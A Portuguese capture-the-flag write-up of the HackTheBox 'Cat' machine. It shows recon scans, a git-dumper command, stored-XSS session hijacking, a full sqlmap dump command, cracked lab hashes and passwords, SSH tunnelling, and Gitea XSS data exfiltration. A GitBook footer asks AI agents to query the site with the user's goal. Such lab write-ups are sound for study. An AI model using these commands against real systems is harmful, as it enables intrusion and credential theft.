> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Relato do Cat HackTheBox Relato do Cat HackTheBox para máquina Linux de dificuldade média, cobrindo fuzzing de diretório (.git file), análise de código-fonte (dump de repositório Git), exploração de XSS armazenado e sequestro de sessão, injeção SQL (SQLite) usando {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuzzing de diretório (arquivo .git) * Análise do código-fonte (despejo do repositório Git) * Exploração de XSS armazenado e sequestro de sessão * Injeção SQL (SQLite) usando sqlmap * Quebra de hashes de senha * Encaminhamento de portas via SSH * Exploração do Gitea (v1.22.0) – XSS armazenado * Exfiltração de dados sensíveis via payloads de XSS {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Varredura de versões das portas com Nmap: Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

Para resolver nomes de domínio em endereços IP via DNS, inserimos o nome de domínio associado ao seu endereço IP no `/etc/hosts` arquivo:

### Porta 80 - HTTP

Ao acessar o `http://cat.htb` site, você encontrará um formulário de cadastro.

Também notamos uma funcionalidade de votação.

**Fuzzing de diretórios** Executamos `gobuster` para descobrir caminhos ocultos: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

Isso revela vários arquivos interessantes, incluindo um `.git` diretório.

**Despejo do repositório Git** Usamos `git-dumper` para recuperar o conteúdo do repositório: ```bash git-dumper http://cat.htb/.git git ```

Ao inspecionar o código-fonte, identificamos uma **vulnerabilidade SQL** assim como a possibilidade de **XSS armazenado**.

## Vulnerabilidade XSS A aplicação aceita *nome de usuário* e *email* campos sem a devida filtragem. Isso permite a injeção de scripts maliciosos.

**Payload XSS** Criamos um usuário com o seguinte nome: ```javascript ``` **Recebendo o cookie do admin** Escutamos na porta 8081: ```bash python -m http.server 8081 ```

Assim que o cookie é capturado, obtemos a sessão do administrador:

Modificamos nosso cookie de sessão para o do admin e acessamos o **console de administração**.

## Injeção SQL (SQLite)

Com acesso de administrador, execute `sqlmap` em um formulário vulnerável {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Recuperação de hash** Obtemos as senhas dos usuários **hashes de senha**. Aqui estão alguns exemplos: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Quebra de senha** Usando [CrackStation](https://crackstation.net/), identificamos com sucesso a senha do usuário `rosa`: {% embed url="" %}

* **nome de usuário** : rosa * **senha** : soyunaprincesarosa Conexão SSH com as credenciais recuperadas: ```bash ssh rosa@cat.htb ```

### Pivotando para o usuário Axel #### Enumeração com LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa está no grupo `adm` e tem acesso a: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Credenciais encontradas: * Usuário: axel * Senha: aNdZwgC4tI9gnVXv/\_e3Q

### Flag user.txt :)

## Escalada de privilégios ### Descoberta de portas internas: ```bash netstat -tuln ``` * **Node.js** (porta 3000) * **SMTP** (587, 25) Serviços identificados

#### Encaminhamento de porta ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Vulnerabilidade XSS no Gitea v1.22.0 No `http://localhost:3000` -> **Gitea** está acessível.

Faça login com as credenciais de Axel.

Vulnerabilidade XSS conhecida.

Criamos um projeto com uma descrição contendo: ```bash XSS test ```

* Resultado:

### E-mail interceptado via LinPEAS

Conteúdo do e-mail: * jobert\@localhost deve verificar o repositório Gitea

Enviamos um link XSS contendo um script de exfiltração que lê o conteúdo da `index.php` página do repositório Gitea, o codifica em Base64 e então o envia para nosso servidor web {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### Por meio de nosso servidor web ```bash python -m http.server 8080 ```

#### Conteúdo exfiltrado (decodificado em base64): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Escalada para root Há reutilização de credenciais para o usuário root ```bash su root ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.